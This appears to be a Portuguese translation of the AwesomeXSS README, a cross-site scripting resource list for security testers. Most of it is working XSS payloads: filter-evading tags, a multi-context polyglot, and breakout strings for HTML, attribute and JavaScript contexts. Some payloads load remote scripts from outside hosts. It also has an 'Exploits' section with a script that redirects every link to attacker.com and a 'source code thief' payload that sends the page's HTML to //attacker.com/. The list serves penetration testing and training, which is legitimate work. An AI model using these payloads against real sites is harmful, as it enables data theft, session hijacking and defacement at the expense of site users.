AwesomeXSS

Este repositório é uma coleção de recursos Awesome sobre XSS. Contribuições são bem-vindas e devem ser submetidas através de uma issue.

Conteúdo incrível

• Desafios
• Leituras e Apresentações
• Ferramentas
• Mapas mentais
• DOM XSS
• Payloads
• Poliglotas
• Tags e manipuladores de eventos
• Quebra de contexto
  • Contexto HTML
  • Contexto de atributo
  • Contexto JavaScript
• Variantes de Confirm
• Exploits
• Sondagem
• Bypassing
• Codificação
• Dicas e truques

Desafios Incríveis

• prompt.ml
• alf.nu/alert1
• xss-game.appspot.com
• polyglot.innerht.ml
• sudo.co.il/xss
• root-me.org
• chefsecure.com
• wechall.net
• codelatte.id/labs/xss

Leituras e Apresentações Incríveis

• Bypassing XSS Detection Mechanisms
• XSS no Facebook via PNG Content Type
• How I met your girlfriend
• Como encontrar 1.352 vulnerabilidades XSS em plugins WordPress em uma hora
• Blind XSS
• Copy Pest

Ferramentas Incríveis

• XSStrike
• BeEF
• JShell

Mapas Mentais Incríveis sobre XSS

Um belo mapa mental XSS por Jack Masa, aqui

DOM XSS Incrível

• O seu input vai para um sink? Vulnerável
• Não vai? Não vulnerável

Fonte: Um input que pode ser controlado por uma fonte externa (não confiável).

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 ou posterior apenas)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: Um método potencialmente perigoso que pode levar a uma vulnerabilidade. Neste caso, um DOM Based XSS.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Esta lista abrangente de sinks e fontes foi retirada de domxsswiki.

Payloads Incríveis

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Poliglotas Incríveis

Aqui está um poliglota XSS que fiz e que pode quebrar 20+ contextos:

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explicação de como funciona, aqui

Tags e Manipuladores de Eventos Incríveis

• 105 manipuladores de eventos com descrição
• 200 manipuladores de eventos sem descrição

Alguns manipuladores de eventos menos detectados

ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Algumas tags HTML que você usará

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Quebra de Contexto Incrível

Contexto HTML

Caso: <tag>Você pesquisou por $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Contexto de Atributo

Caso: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

Contexto JavaScript

Caso: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Variantes Incríveis de Confirm

Sim, confirm porque alert é muito mainstream.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Exploits Incríveis

Substituir todos os links

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

Ladrão de Código Fonte

<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Sondagem Incrível

Se nada disso funcionar, dê uma olhada na seção Bypassing Incrível